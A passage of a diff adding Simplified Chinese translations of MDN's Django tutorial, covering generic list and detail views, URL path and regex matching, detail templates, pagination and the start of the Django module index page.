+<h3 id="它看起来是什么样子?">它看起来是什么样子?</h3> + +<p>您将无法构建书本清单,因为我们仍然缺少依赖项 - 书本详细信息页面的URL地图,这是创建单个书本的超链接所必需的。我们将在下一节之后,说明列表和详细视图的部分。</p> + +<h2 id="书本详细信息页面">书本详细信息页面</h2> + +<p>书本详细信息页面,将显示有关特定书本的信息,使用 URL <code>catalog/book/<em><id></em></code>(其中 <code><em><id> </em></code>是书本的主键)进行访问。除了<code>Book</code>模型中的字段(作者,摘要,ISBN,语言和种类)之外,我们还将列出可用副本(<code>BookInstances</code>)的详细信息,包括状态,预期返回日期,印记和 id。这将使我们的读者,不仅可以了解该书,还可以确认是否/何时可用。</p> + +<h3 id="URL_映射_2">URL 映射</h3> + +<p>打开 <strong>/catalog/urls.py</strong> ,并添加下面粗体显示的 <strong>“book-detail”</strong> URL 映射器。这个<code> path()</code> 函数定义了一个模式,关联到基于通用类的详细信息视图和名称。</p> + +<pre class="brush: python">urlpatterns = [ + path('', views.index, name='index'), + path('books/', views.BookListView.as_view(), name='books'), +<strong> path('book/<int:pk>', views.BookDetailView.as_view(), name='book-detail'),</strong> +]</pre> + +<p>对于书本详细信息路径,URL 模式使用特殊语法,来捕获我们想要查看的书本的特定 id。语法非常简单:尖括号定义要捕获的URL部分,包含视图可用于访问捕获数据的变量的名称。例如,<<strong>something</strong>> 将捕获标记的模式,并将值作为变量 “something” ,传递给视图。您可以选择在变量名称前,加上一个定义数据类型的<a href="https://docs.djangoproject.com/en/2.0/topics/http/urls/#path-converters">转换器规范</a>(int,str,slug,uuid,path)。</p> + +<p>在这里,我们使用 <code>'<int:pk>' </code>来捕获 book id,它必须是一个整数,并将其作为名为 <code>pk </code>的参数(主键的缩写)传递给视图。</p> + +<div class="note"> +<p><strong>注意</strong>: 如前所述,我们匹配的URL实际上是 <code>catalog/book/<digits></code>(因为我们在应用程序 <strong>catalog </strong>中,假定使用<code>/catalog/</code>)。</p> +</div> + +<div class="warning"> +<p><strong>要点</strong>: 基于类的通用详细信息视图,需要传递一个名为 <strong>pk </strong>的参数。如果您正在编写自己的函数视图,则可以使用您喜欢的任何参数名称,或者,确实也可以,在未命名的参数中传递信息。</p> +</div> + +<h4 id="高级路径匹配正则表达式入门">高级路径匹配/正则表达式入门</h4> + +<div class="note"> +<p><strong>注意</strong>: 完成教程并不需要此部分说明!我们提供它,是因为了解此可选的部分,未来可能对您使用 Django 有帮助。</p> +</div> + +<p><code>path()</code>提供的模式匹配非常简单,对于您只想捕获任何字符串或整数的(非常常见的)情况非常有用。如果需要更精细的过滤(例如,仅过滤具有一定数量字符的字符串),则可以使用 <a href="https://docs.djangoproject.com/en/2.0/ref/urls/#django.urls.re_path">re_path()</a> 方法。</p> + +<p>此方法与</p> + +<p><code>path()</code>的使用一样,除了它允许您使用<a href="https://docs.python.org/3/library/re.html">正则表达式</a>,以指定模式。例如,上面的路径可以编写为如下所示:</p> + +<pre class="brush: python"><strong>re_path(r'^book/(?P<pk>\d+)$', views.BookDetailView.as_view(), name='book-detail'),</strong> +</pre> + +<p>正则表达式是一种非常强大的模式映射工具。坦率地说,对于初学者来说,他们是非常不直观和可怕的。下面是一个非常短的入门!</p> + +<p>首先要知道的是,正则表达式通常应该使用原始字符串文字语法声明(即它们如图所示:<strong>r'<你的正则表达式文本放在这里>'</strong>)。</p> + +<p>声明模式匹配需要知道的语法,主要部分是:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">符号</th> + <th scope="col">含义</th> + </tr> + </thead> + <tbody> + <tr> + <td>^</td> + <td>匹配文本的开头</td> + </tr> + <tr> + <td>$</td> + <td>匹配文本的结尾</td> + </tr> + <tr> + <td>\d</td> + <td>匹配一个位数的数字(0,1,2,... 9)</td> + </tr> + <tr> + <td>\w</td> + <td> + <p>匹配单词字符,例如字母,数字或下划线字符(_)中的任何大写或小写字符</p> + </td> + </tr> + <tr> + <td>+</td> + <td>匹配前面一个或多个字符。例如,要匹配一个或多个位数的数字,您将使用<code>\d+</code>。要匹配一个或多个“ a” 字符,您可以使用 <code>a+</code></td> + </tr> + <tr> + <td>*</td> + <td>匹配前面字符的零个或多个。例如,要匹配没有内容或单词,您可以使用<code>\w*</code></td> + </tr> + <tr> + <td>( )</td> + <td>捕获括号内部模式的一部分。任何捕获的值,都将作为未命名参数,传递给视图(如果捕获了多个模式,则将按照声明捕获的顺序,提供相关参数)。</td> + </tr> + <tr> + <td>(?P<<em>name</em>>...)</td> + <td>捕获模式(由...表示)作为命名变量(在本例中为“name”)。捕获的值,将传递给具有指定名称的视图。因此,您的视图,必须声明具有相同名称的参数!</td> + </tr> + <tr> + <td>[ ]</td> + <td>匹配集合中的一个字符。例如,[abc] 将匹配 'a' 或 'b' 或 'c'。 [-\w] 将匹配 ' - ' 字符,或任何单词字符。</td> + </tr> + </tbody> +</table> + +<p>大多数其他字符可以按字面意思理解!</p> + +<p>让我们考虑一些模式的真实例子:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">模式</th> + <th scope="col">描述</th> + </tr> + </thead> + <tbody> + <tr> + <td><strong>r'^book/(?P<pk>\d+)$'</strong></td> + <td> + <p>这是我们的 url 映射器中使用的 RE。它匹配一个字符串,该字符串在行(<strong>^book/</strong>)的开头具有<code>book/</code>,然后有一个或多个数字(<code>\d+</code>),然后结束(在行标记结束之前,没有非数字字符)。</p> + + <p>它还捕获所有数字(<strong>?P<pk>\d+</strong>),并将它们传递给名为 'pk' 的参数中的视图。<strong>捕获的值始终作为字符串传递</strong>!</p> + + <p>例如,这将匹配 <code>book/1234</code>,并向视图发送变量 <code>pk='1234'</code>。</p> + </td> + </tr> + <tr> + <td><strong>r'^book/(\d+)$'</strong></td> + <td>这与前面的例子匹配相同的URL。捕获的信息,将作为未命名的参数,发送到视图。</td> + </tr> + <tr> + <td><strong>r'^book/(?P<stub>[-\w]+)$'</strong></td> + <td> + <p>这匹配一个字符串,该字符串在行(<strong>^book/</strong>)的开头具有<code>book/</code>,然后有一个或多个字符,可以是 ' - ' 或单词字符((<strong>[-\w]+</strong>),然后结束。它还捕获这组字符,并将它们传递给名为 “stub” 的参数中的视图。</p> + + <p>这是 “stub” 的一种相当典型的模式。存根stub 是用于数据的、 URL 友好的、基于单词的主键。如果您希望本书网址提供更多信息,则可以使用 stub。例如 <code>/catalog/book/the-secret-garden</code> ,而不是<code>/catalog/book/33</code>。</p> + </td> + </tr> + </tbody> +</table> + +<p>您可以在一个匹配中捕获多个模式,从而在 URL 中,编码许多不同的信息。</p> + +<div class="note"> +<p><strong>注意</strong>: 作为一项挑战,请考虑如何对网址进行编码,以列出特定年份,月份,日期的所有图书,以及可用于匹配它的规则表达式 RE。</p> +</div> + +<h4 id="在_URL_地图中传递其他选项">在 URL 地图中传递其他选项</h4> + +<p>我们在这里没有使用、但您可能觉得有价值的一个功能是,您可以向视图声明并传递<a href="https://docs.djangoproject.com/en/2.0/topics/http/urls/#views-extra-options">其他选项</a>。这些选项被声明为一个字典,您将其作为第三个未命名参数,传递给 <code>path()</code>函数。</p> + +<p>如果要对多个资源,使用相同的视图,并在每种情况下,传递数据以配置其行为,则此方法非常有用(下面我们在每种情况下提供不同的模板)。</p> + +<pre class="brush: python">path('url/', views.my_reused_view, <strong>{'my_template_name': 'some_path'}</strong>, name='aurl'), +path('anotherurl/', views.my_reused_view, <strong>{'my_template_name': 'another_path'}</strong>, name='anotherurl'), +</pre> + +<div class="note"> +<p><strong>注意:</strong> 额外选项和命名捕获的模式,二者都作为命名参数传递给视图。如果对捕获的模式和额外选项使用<strong>相同的名称</strong>,则仅将捕获的模式值发送到视图(将删除附加选项中指定的值)。</p> +</div> + +<h3 id="视图_(基于类别)_2">视图 (基于类别)</h3> + +<p>打开 <strong>catalog / views.py</strong>,并将以下代码复制到文件的底部:</p> + +<pre class="brush: python">class BookDetailView(generic.DetailView): + model = Book</pre> + +<p>就是这样!您现在需要做的就是创建一个名为 <strong>/locallibrary/catalog/templates/catalog/book_detail.html </strong>的模板,该视图将向此模板,传递 URL 映射器提取的特定 <code>Book</code> 记录的数据库信息。在模板中,您可以使用名为 <code>object</code> 或 <code>book</code>的模板变量(即通常为 “<code><em>the_model_name</em></code>”),以访问书本列表。</p> + +<p>如果需要,可以更改使用的模板,以及用于在模板中,引用该书本的上下文对象的名称。您还可以覆盖方法,例如,向上下文添加其他信息。</p> + +<h4 id="如果记录不存在会怎样?">如果记录不存在会怎样?</h4> + +<p>如果请求的记录不存在,那么基于类的通用详细信息视图,将自动为您引发 <code>Http404 </code>异常 - 在生产环境中,这将自动显示适当的 “未找到资源” 页面,您可以根据需要自定义该页面。</p> + +<p>为了让您了解其工作原理,下面的代码片段,演示了如何在<strong>不使用</strong>基于类的详细信息视图的情况下,将基于类的视图实现为函数。</p> + +<pre class="brush: python">def book_detail_view(request,pk): + try: + book_id=Book.objects.get(pk=pk) + except Book.DoesNotExist: + raise Http404("Book does not exist") + + #book_id=get_object_or_404(Book, pk=pk) + + return render( + request, + 'catalog/book_detail.html', + context={'book':book_id,} + ) +</pre> + +<p>视图首先尝试从模型中,获取特定的书本记录。如果失败,则视图应引发 <code>Http404</code>异常,以指示该书本 “未找到”。然后,最后一步是使用模板名称,和上下文参数<code>context</code>中的书本数据(作为字典)调用<code>render()</code>。</p> + +<div class="note"> +<p><strong>注意</strong>: <code>get_object_or_404()</code>(如上所示)是一个方便的快捷方式,用于在未找到记录时,引发 <code>Http404 </code>异常。</p> +</div> + +<h3 id="创建详细信息视图模板">创建详细信息视图模板</h3> + +<p>创建 HTML 文件 <strong>/locallibrary/catalog/templates/catalog/book_detail.html</strong>,并为其提供以下内容。如上所述,这是基于类的通用详细信息视图,所期望的默认模板文件名(对于名为 <code>catalog </code>的应用程序中名为 <code>Book </code>的模型)。</p> + +<pre class="brush: html">{% extends "base_generic.html" %} + +{% block content %} + <h1>Title: \{{ book.title }}</h1> + + <p><strong>Author:</strong> <a href="">\{{ book.author }}</a></p> <!-- author detail link not yet defined --> + <p><strong>Summary:</strong> \{{ book.summary }}</p> + <p><strong>ISBN:</strong> \{{ book.isbn }}</p> + <p><strong>Language:</strong> \{{ book.language }}</p> + <p><strong>Genre:</strong> {% for genre in book.genre.all %} \{{ genre }}{% if not forloop.last %}, {% endif %}{% endfor %}</p> + + <div style="margin-left:20px;margin-top:20px"> + <h4>Copies</h4> + + {% for copy in book.bookinstance_set.all %} + <hr> + <p class="{% if copy.status == 'a' %}text-success{% elif copy.status == 'm' %}text-danger{% else %}text-warning{% endif %}">\{{ copy.get_status_display }}</p> + {% if copy.status != 'a' %}<p><strong>Due to be returned:</strong> \{{copy.due_back}}</p>{% endif %} + <p><strong>Imprint:</strong> \{{copy.imprint}}</p> + <p class="text-muted"><strong>Id:</strong> \{{copy.id}}</p> + {% endfor %} + </div> +{% endblock %}</pre> + +<ul> +</ul> + +<div class="note"> +<p><strong>注意: </strong>上面模板中的作者链接,有一个空 URL,因为我们尚未创建作者详细信息页面。一旦创建了,您应该像这样更新URL:</p> + +<pre><a href="<strong>{% url 'author-detail' book.author.pk %}</strong>">\{{ book.author }}</a> +</pre> +</div> + +<p>虽然有点大,但此模板中的几乎所有内容,都已在前面描述过:</p> + +<ul> + <li>我们扩展基本模板,并覆盖 “内容”区块 content。</li> + <li>我们使用条件处理,来确定是否显示特定内容。</li> + <li>我们使用 <code>for </code>循环遍历对象列表。</li> + <li>我们使用 "点表示法" 访问上下文字段(因为我们使用了详细的通用视图,上下文被命名为<code>book</code>;我们也可以使用 “<code>object</code>”)。</li> +</ul> + +<p>我们以前没见过的一件有趣的事情是函数<code>book.bookinstance_set.all()</code>。此方法由 Django “自动” 构造,以便返回与特定<code> Book</code> 相关联的 <code>BookInstance</code>记录集合。</p> + +<pre class="brush: python">{% for copy in book.bookinstance_set.all %} +<!-- code to iterate across each copy/instance of a book --> +{% endfor %}</pre> + +<p>需要此方法,是因为您仅在关系的 “一” 侧声明 <code>ForeignKey</code>(一对多)字段。由于您没有做任何事情,来声明其他(“多”)模型中的关系,因此它没有任何字段,来获取相关记录集。为了解决这个问题,Django构造了一个适当命名的 “反向查找” 函数,您可以使用它。函数的名称,是通过对声明<code> ForeignKey</code> 的模型名称,转化为小写来构造的,然后是<code>_set</code>(即,在 <code>Book </code>中创建的函数是 <code>bookinstance_set()</code>)。</p> + +<div class="note"> +<p><strong>注意</strong>: 这里我们使用<code>all()</code>来获取所有记录(默认值)。虽然您可以使用<code>filter()</code>方法获取代码中的记录子集,但您无法直接在模板中执行此操作,因为您无法指定函数的参数。</p> + +<p>还要注意,如果您没有定义顺序(在基于类的视图或模型上),您还会看到开发服务器中的错误,如下所示:</p> + +<pre>[29/May/2017 18:37:53] "GET /catalog/books/?page=1 HTTP/1.1" 200 1637 +/foo/local_library/venv/lib/python3.5/site-packages/django/views/generic/list.py:99: UnorderedObjectListWarning: Pagination may yield inconsistent results with an unordered object_list: <QuerySet [<Author: Ortiz, David>, <Author: H. McRaven, William>, <Author: Leigh, Melinda>]> + allow_empty_first_page=allow_empty_first_page, **kwargs) +</pre> + +<p>发生这种情况,是因为 <a href="https://docs.djangoproject.com/en/2.0/topics/pagination/#paginator-objects">paginator object </a>对象希望在下划线数据库上看到一些 ORDER BY。没有它,它无法确定,返回的注册表实际上是否为正确顺序!</p> + +<p>本教程还没有说明到 <strong>Pagination</strong>(还没,但很快),但由于你不能使用<code>sort_by()</code> 并传递一个参数(与上面描述的<code>filter()</code> 相同),你将不得不在下面三个选择当中,进行挑选: </p> + +<ol> + <li>在模型的<code>class Meta</code>声明中,添加排序<code>ordering</code>。</li> + <li>Add a <code>queryset</code> attribute in your custom class-based view, specifying a <code>order_by()</code>.在自定义基于类的视图中添加queryset属性,指定order_by()。</li> + <li>Adding a <code>get_queryset</code> method to your custom class-based view and also specify the <code>order_by()</code>.将get_queryset方法添加到基于类的自定义视图中,并指定order_by()。</li> +</ol> + +<p>如果您决定使用<code>class Meta </code>作为作者模型<code>Author</code>(可能不像定制基于类的视图那样灵活,但很容易),您最终会得到这样的结果:</p> + +<pre>class Author(models.Model): + first_name = models.CharField(max_length=100) + last_name = models.CharField(max_length=100) + date_of_birth = models.DateField(null=True, blank=True) + date_of_death = models.DateField('Died', null=True, blank=True) + + def get_absolute_url(self): + return reverse('author-detail', args=[str(self.id)]) + + def __str__(self): + return '%s, %s' % (self.last_name, self.first_name) + +<strong> class Meta: + ordering = ['last_name']</strong></pre> + +<p>当然,该字段不需要是<code>last_name</code>:它可以是任何其他字段。</p> + +<p>最后,但并非最不重要的是,您应该按照实际上在数据库上具有索引(唯一或非唯一)的属性/栏位进行排序,以避免性能问题。当然,如果这么少量的书本(和用户!),这里就没有必要(我们可能会让自己提前做太多事情),但是对于未来的项目来说,这是需要考虑的事情。</p> +</div> + +<h2 id="它看起来是什么样子?_2">它看起来是什么样子?</h2> + +<p>此时,我们应该创建了显示书本列表,和书本详细信息页面所需的所有内容。运行服务器(<code>python3 manage.py runserver</code>),并打开浏览器到 <a href="http://127.0.0.1:8000/">http://127.0.0.1:8000/</a>。</p> + +<div class="warning"> +<p><strong>警告:</strong> <span id="result_box" lang="zh-CN"><span>请还不要点击任何作者、或作者详细信息链接 - 您将在挑战练习中,创建这些链接!</span></span></p> +</div> + +<p>单击所有书籍链接<strong> All books</strong> ,以显示书籍列表。</p> + +<p><img alt="Book List Page" src="https://mdn.mozillademos.org/files/14049/book_list_page_no_pagination.png" style="border-style: solid; border-width: 1px; display: block; height: 216px; margin: 0px auto; width: 823px;"></p> + +<p>然后点击指向您的某本图书的链接。如果一切设置正确,您应该看到类似下面的屏幕截图。</p> + +<p><img alt="Book Detail Page" src="https://mdn.mozillademos.org/files/14051/book_detail_page_no_pagination.png" style="border-style: solid; border-width: 1px; display: block; height: 783px; margin: 0px auto; width: 926px;"></p> + +<h2 id="分页">分页</h2> + +<p>如果您刚刚获得了一些记录,我们的图书清单页面看起来会很好。但是,当您进入数十或数百条记录的页面时,页面将逐渐花费更长时间加载(并且有太多内容无法合理浏览)。此问题的解决方案,是为列表视图添加分页,减少每页上显示的项目数。</p> + +<p>Django 在分页方面,拥有出色的内置支持。更好的是,它内置于基于类的通用列表视图中,因此您无需执行太多操作即可启用它!</p> + +<h3 id="视图">视图</h3> + +<p>打开 <strong>catalog/views.py</strong>,然后添加下面粗体显示的<code>paginate_by </code>行。</p> + +<pre class="brush: python">class BookListView(generic.ListView): + model = Book + <strong>paginate_by = 10</strong></pre> + +<p>通过添加这行,只要您有超过10条记录,视图就会开始对它发送到模板的数据,进行分页。使用 GET 参数访问不同的页面 - 要访问第2页,您将使用URL:<code>/catalog/books/<strong>?page=2</strong></code>。</p> + +<h3 id="模板">模板</h3> + +<p>现在数据已经分页,我们需要添加对模板的支持,以滚动结果集合。因为我们可能希望在所有列表视图中,都执行此操作,所以我们将以可添加到基本模板的方式,执行此操作。</p> + +<p>打开 <strong>/locallibrary/catalog/templates/<em>base_generic.html</em></strong>,并复制贴士以下内容区块下面的分页区块(以粗体突出显示)。代码首先检查当前页面上,是否启用了分页。如果是,则它会根据需要,添加下一个和上一个链接(以及当前页码)。</p> + +<pre class="brush: python">{% block content %}{% endblock %} + +<strong>{% block pagination %} + {% if is_paginated %} + <div class="pagination"> + <span class="page-links"> + {% if page_obj.has_previous %} + <a href="\{{ request.path }}?page=\{{ page_obj.previous_page_number }}">previous</a> + {% endif %} + <span class="page-current"> + Page \{{ page_obj.number }} of \{{ page_obj.paginator.num_pages }}. + </span> + {% if page_obj.has_next %} + <a href="\{{ request.path }}?page=\{{ page_obj.next_page_number }}">next</a> + {% endif %} + </span> + </div> + {% endif %} +{% endblock %} </strong></pre> + +<p><code>page_obj </code>是一个 <a href="https://docs.djangoproject.com/en/2.0/topics/pagination/#paginator-objects">Paginator</a> 对象,如果在当前页面上使用分页,它将存在。 它允许您获取有关当前页面,之前页面,有多少页面等的所有信息。</p> + +<p>我们使用 <code>\{{ request.path }}</code>,来获取用于创建分页链接的当前页面URL。 这很有用,因为它独立于我们正在分页的对象。</p> + +<p>就是这样!</p> + +<h3 id="它看起来是什么样子的?">它看起来是什么样子的?</h3> + +<p>下面的屏幕截图,显示了分页的样子 - 如果您没有在数据库中输入超过10个标题,那么您可以通过降低 <strong>catalog/views.py </strong>文件中 <code>paginate_by </code>行指定的数量,来更轻松地测试它。 为了得到以下结果,我们将其更改为 <code>paginate_by = 2</code>。</p> + +<p>分页链接显示在底部,根据您所在的页面,显示下一个/上一个链接。</p> + +<p><img alt="Book List Page - paginated" src="https://mdn.mozillademos.org/files/14057/book_list_paginated.png" style="border-style: solid; border-width: 1px; display: block; height: 216px; margin: 0px auto; width: 924px;"></p> + +<h2 id="挑战自己">挑战自己</h2> + +<p>本文中的挑战,是创建完成项目所需的作者详细信息视图,和列表视图。这些应在以下URL中提供:</p> + +<ul> + <li><code>catalog/authors/</code> — 所有作者的名单。</li> + <li><code>catalog/author/<em><id></em></code><em> </em>— 特定作者的详细视图,并具有名为<em><code><id></code></em>的主键字段</li> +</ul> + +<p>URL 映射器和视图所需的代码,应与我们上面创建的<code>Book</code>列表和详细视图几乎完全相同。模板将有所不同,但会分享类似的行为。</p> + +<p> </p> + +<div class="note"> +<p><strong>注意</strong>:</p> + +<ul> + <li>为作者列表页面,创建URL映射器之后,还需要更新基本模板中的所有作者 <strong>All authors </strong>链接。按照我们更新“所有图书”<strong>All books</strong> 链接时,所做的相同过程。</li> + <li>为作者详细信息页面,创建URL映射器之后,还应更新书本详细信息视图模板(<strong>/locallibrary/catalog/templates/catalog/book_detail.html</strong>),以便作者链接,指向新的作者详细信息页面(而不是一个空的URL)。该行将更改为添加下面以粗体显示的模板标记。 + <pre class="brush: html"><p><strong>Author:</strong> <a href="<strong>{% url 'author-detail' book.author.pk %}</strong>">\{{ book.author }}</a></p> +</pre> + </li> +</ul> +</div> + +<p>完成后,您的页面应该类似于下面的屏幕截图。</p> + +<p><img alt="Author List Page" src="https://mdn.mozillademos.org/files/14053/author_list_page_no_pagination.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p> + +<ul> +</ul> + +<p><img alt="Author Detail Page" src="https://mdn.mozillademos.org/files/14055/author_detail_page_no_pagination.png" style="border-style: solid; border-width: 1px; display: block; height: 358px; margin: 0px auto; width: 825px;"></p> + +<ul> +</ul> + +<h2 id="总结">总结</h2> + +<p>恭喜,我们的图书馆的基本功能现在完成了!</p> + +<p>本文中,我们学到如何使用基于类别的通用列表视图与详细视图,并使用它们创建页面,以查看我们的书本和作者。在此过程中,我们了解了与正则表达式匹配的模式,以及如何将数据从URL传递到视图。我们还学习了一些使用模板的技巧。最后,我们已经展示了如何对列表视图进行分页,这样即使我们有很多记录,我们也可以管理列表。</p> + +<p>在我们的下一篇文章,我们将扩充此图书馆,以支持使用者帐户,并从而演示使用者授权、许可、授权、会话, 以及表单。</p> + +<h2 id="参见">参见</h2> + +<ul> + <li><a href="https://docs.djangoproject.com/en/2.0/topics/class-based-views/generic-display/">Built-in class-based generic views</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/2.0/ref/class-based-views/generic-display/">Generic display views</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/2.0/topics/class-based-views/intro/">Introduction to class-based views</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/2.0/ref/templates/builtins">Built-in template tags and filters</a> (Django docs).</li> + <li><a href="https://docs.djangoproject.com/en/2.0/topics/pagination/">Pagination</a> (Django docs)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/Home_page", "Learn/Server-side/Django/Sessions", "Learn/Server-side/Django")}}</p> + +<p> </p> + +<h2 id="本教程">本教程</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Server-side/Django/Introduction">Django 介绍</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/development_environment">架设 Django 开发环境</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django 教程: 本地图书馆网站</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django 教程 2: 创建骨架站点</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Models">Django 教程 3: 使用模型</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django 教程 4: Django 管理站点</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django 教程 5: 创建主页</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django 教程 6: 通用列表与详细信息视图</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django 教程 7: 会话框架</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Authentication">Django 教程 8: 用户认证与许可</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Forms">Django 教程 9: 使用表单</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Testing">Django 教程 10: 测试 Django 网页应用</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Deployment">Django 教程 11: 部署 Django 到生产环境</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/web_application_security">Django 网页应用安全</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django 微博客</a></li> +</ul> + +<p> </p> diff --git a/files/zh-cn/learn/server-side/django/index.html b/files/zh-cn/learn/server-side/django/index.html new file mode 100644 index 0000000000..cb92e9cc05 --- /dev/null +++ b/files/zh-cn/learn/server-side/django/index.html @@ -0,0 +1,60 @@ +--- +title: Django Web 框架(python) +slug: learn/Server-side/Django +translation_of: Learn/Server-side/Django +--- +<div>{{LearnSidebar}}</div> + +<p>Django 是使用 Python 语言编写的一个广受欢迎且功能完整的服务器端网站框架。 本模块将为您展示为什么 Django 能够成为一个广受欢迎的服务器端框架,如何设置开发环境,以及如何开始创建你自己的网络应用。</p> + +<h2 id="先决条件">先决条件</h2> + +<p>开始学习本模块并不需要任何 Django 知识. 但您要理解什么是服务器端网络编程、什么是网络框架,最好能够阅读我们的<a href="/zh-CN/docs/Learn/Server-side/First_steps">服务端网站编程的第一步</a>模块。</p> + +<p>最好能有基本的编程概念并了解 <a href="/zh-CN/docs/Glossary/Python">Python</a> 语言,但其并不是理解本教程的核心概念的必然条件。</p> + +<div class="note"> +<p><span style="font-size: 14px;"><strong>注意:</strong></span>对于初学者来说,Python 是最容易阅读和理解的编程语言之一。也就是说,如果您想更好的理解本教程,网上有很多免费书籍及免费教程可供参考学习(建议初学者查看 Python 官网的 <a href="https://wiki.python.org/moin/BeginnersGuide/NonProgrammers">Python for Non Programmers</a> 教程)。</p> +</div> + +<h2 id="指南">指南</h2> + +<dl> + <dt><a href="https://developer.mozilla.org/zh-CN/docs/Learn/Server-side/Django/Introduction">Django简介</a></dt> + <dd>在第一篇关于Django的文章里,我们会回答"什么是Django?",并概述这个网络框架的特殊之处.我们会列出主要的功能,包括一些高级的功能特性,这些高级特性我们在这部分教程里没有时间详细说明.在你设置好Django应用并开始把玩它之前,我们会展示Django应用的一些主要模块,让你明白Django应用能做什么.</dd> + <dt><a href="/zh-CN/docs/Learn/Server-side/Django/development_environment">创建Django开发环境</a></dt> + <dd>现在你知道Django是做什么的,我们会展示怎样在Windows, Linux(Ubuntu)和Mac OS X上创建和测试Django的开发环境—不管你是用什么操作系统,这篇文章会教给你能够开发Django应用所需要的开发环境.</dd> + <dt><a href="/zh-CN/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django教程1:本地图书馆网站</a></dt> + <dd>我们实用教程系列的第一篇文章会解释你将学习到什么,并提供"本地图书馆"网站这个例子的概述.我们会在接下来的文章里完成并不断的进化这个网站.</dd> + <dt><a href="/zh-CN/docs/Learn/Server-side/Django/skeleton_website">Django教程2:创建网站的框架</a></dt> + <dd>这篇文章会教你怎样创建一个网站的"框架".以这个网站为基础,你可以填充网站特定的settings,urls, models,views和templates</dd> + <dt><a href="/zh-CN/docs/Learn/Server-side/Django/Models">Django教程3:使用模型</a></dt> + <dd>这篇文章会为 <em>本地图书馆 </em>网站定义数据模板—数据模板是我们为应用存储的数据结构.并且允许Django在数据库中存储数据(以后可以修改).文章解释了什么是数据模板,怎样声明它和一些主要的数据种类.文章还简要的介绍了一些你可以获得数据模板的方法.</dd> + <dt><a href="/zh-CN/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django 管理站点</a></dt> + <dd>现在我们已经为本地图书馆网站创建了模型,我们将使用 Django 管理站点 添加一些 ‘真实的’ 的图书数据。首先,我们将向你介绍如何使用管理站点注册模型,然后我们介绍如何登录和创建一些数据。最后我们展示一些进一步改进管理站点的演示方法。</dd> + <dt><a href="/zh-CN/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: 创建我们的主页</a></dt> + <dd>我们现在可以添加代码来展示我们的第一次完整页面—本地图书馆主页,来显示我们对每个模型类型有多少条记录,并提供我们其他页面的侧边栏导航链接。一路上,我们将获得编写基本URL地图和视图,从数据库获取记录以及使用模版的实践经验。</dd> + <dt><a href="/zh-CN/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: 通用列表和详细视图</a></dt> + <dd>本教程扩展了我们的本地图书馆网站,添加书籍和作者和详细页面。在这里,我们将了解基于类的通用视图,并展示如何减少常用代码用例的代码量。我们还将更详细地深入理解URL处理,显示如何执行基本模式匹配。</dd> + <dt><a href="/zh-CN/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: 会话框架</a></dt> + <dd>本教程扩展本地图书馆网站,向主页添加了一个基于会话的访问计数器。这是个比较简单的例子,但它显示如何使用会话框架为你自己的站点中的匿名用户提供一致的行为。</dd> + <dt><a href="/zh-CN/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: 用户身份验证和权限</a></dt> + <dd>本教程,我们将向你展示如何允许用户使用自己的账户登录到你的网站,以及如何根据他们是否登录及其权限来控制他们可以做什么和看到什么。作为此次演示的一部分,我们将扩展本地图书馆网站,添加登录和注销页面以及用户和工作人员特定页面,以查看已借用的书籍。</dd> + <dt><a href="/zh-CN/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: 使用表单</a></dt> + <dd>本教程,我们将向你展示如何使用Django 中的<a href="https://developer.mozilla.org/zh-CN/docs/Web/Guide/HTML/Forms">HTML表单</a>,特别是编写创建表单,更新和删除模型实例的最简单方法。作为此次演示的一部分,我们将扩展本地图书馆网站,以便图书馆员可以使用我们自己的表单(而不是使用管理应用程序) 来更新书籍,创建,更新和删除作者。</dd> + <dt><a href="/zh-CN/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10:测试Django Web 应用程序</a></dt> + <dd>随着网站的的发展,手工测试越来越难测试—不仅要测试更多,而且随着组件之间的相互作用变得越来越复杂,一个领域的一个小的变化可能需要许多额外的测试来验证其对其他领域的影响。减轻这些问题的一种方法是编写自动化测试,每次更改时都可以轻松可靠地运行。本教程将介绍如何使用 Django 的测试框架对你的网站进行 <em><strong>单元测试</strong></em>自动化。</dd> + <dt><a href="/zh-CN/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: 将Django部署到生产</a></dt> + <dd>现在,你已创建(并测试)一个酷的 本地图书馆网站,你将要把它安装在公共Web服务器上,以便图书馆员工和成员可以通过Internet访问。本文概述了如何找到主机来部署你的网站,以及你需要做什么才能使你的网站准备好进行生产。</dd> + <dt><a href="/zh-CN/docs/Learn/Server-side/Django/web_application_security">Django web 应用程序安全</a></dt> + <dd>保护用户数据是任何网站设计的重要组成部分,我们以前解释了Web安全文章中一些更常见的安全威胁—本文提供了Django内置如何保护处理这种危险的实际演示。</dd> +</dl> + +<h2 id="评估">评估</h2> + +<p>以下评估将测试你对如何使用Django创建网站的理解,如上述指南中所述。</p> + +<dl> + 